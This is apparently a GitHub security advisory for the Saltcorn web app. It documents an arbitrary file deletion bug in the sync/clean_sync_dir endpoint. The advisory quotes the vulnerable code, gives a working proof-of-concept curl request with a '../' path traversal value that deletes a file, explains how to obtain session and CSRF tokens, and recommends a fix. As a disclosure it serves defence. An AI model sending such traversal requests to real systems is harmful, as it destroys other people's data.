GHSA-43f3-h63w-p6f6

### Summary

A logged-in user with any role can delete arbitrary files on the filesystem by calling the `sync/clean_sync_dir` endpoint. The `dir_name` POST parameter is not validated/sanitized and is used to construct the `syncDir` that is deleted by calling `fs.rm`.

### Details

- file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.15/packages/server/routes/sync.js#L337-L346

```js router.post( "/clean_sync_dir", error_catcher(async (req, res) => { const { dir_name } = req.body; // [1] source try { const rootFolder = await File.rootFolder(); const syncDir = path.join( rootFolder.location, "mobile_app", "sync", dir_name // [2] ); await fs.rm(syncDir, { recursive: true, force: true }); // [3] sink res.status(200).send(""); } catch (error) { getState().log(2, `POST /sync/clean_sync_dir: '${error.message}'`); res.status(400).json({ error: error.message || error }); } }) ); ```

### PoC

The following PoC can be executed with a user with any role (`admin`, `staff`, `user`, `public`)

- create a file in a folder different from where the server is started: ``` touch /tmp/secret cat /tmp/secret ```

- log with a user and retrieve valid `connect.sid` and `_csrf` values*** - send the following `curl` request ``` curl -i -X $'POST' \ -H $'Host: localhost:3000' \ -H $'Content-Type: application/x-www-form-urlencoded' \ -H $'Content-Length: 93' \ -H $'Origin: http://localhost:3000' \ -H $'Connection: close' \ -b $'connect.sid=VALID_CONNECT_SID_COOKIE; loggedin=true' \ --data-binary $'_csrf=VALID_CSRF_VALUE&dir_name=/../../../../../../../../../../tmp/secret' \ $'http://localhost:3000/sync/clean_sync_dir' ```

- check if the file previously created does not exist anymore: ``` cat /tmp/secret cat: /tmp/secret: No such file or directory ```

*** obtain `connect.sid` and `_csrf` values

A possible way to retrieve `connect.sid` and `_csrf` values is to use the password reset functionality: - log in - open the browser developer console, go to the `Network` tab filter for `settings` request - visit `http://localhost:3000/auth/settings` - trigger the change password functionality - under the `Headers` and `Request` tabs, grab the `connect.sid` and `_csrf` values and replace them in the curl command

### Impact

Arbitrary file delete

### Recommended Mitigation

Resolve the `syncDir` and check if it starts with `rootFolder.location/mobile_app/sync`.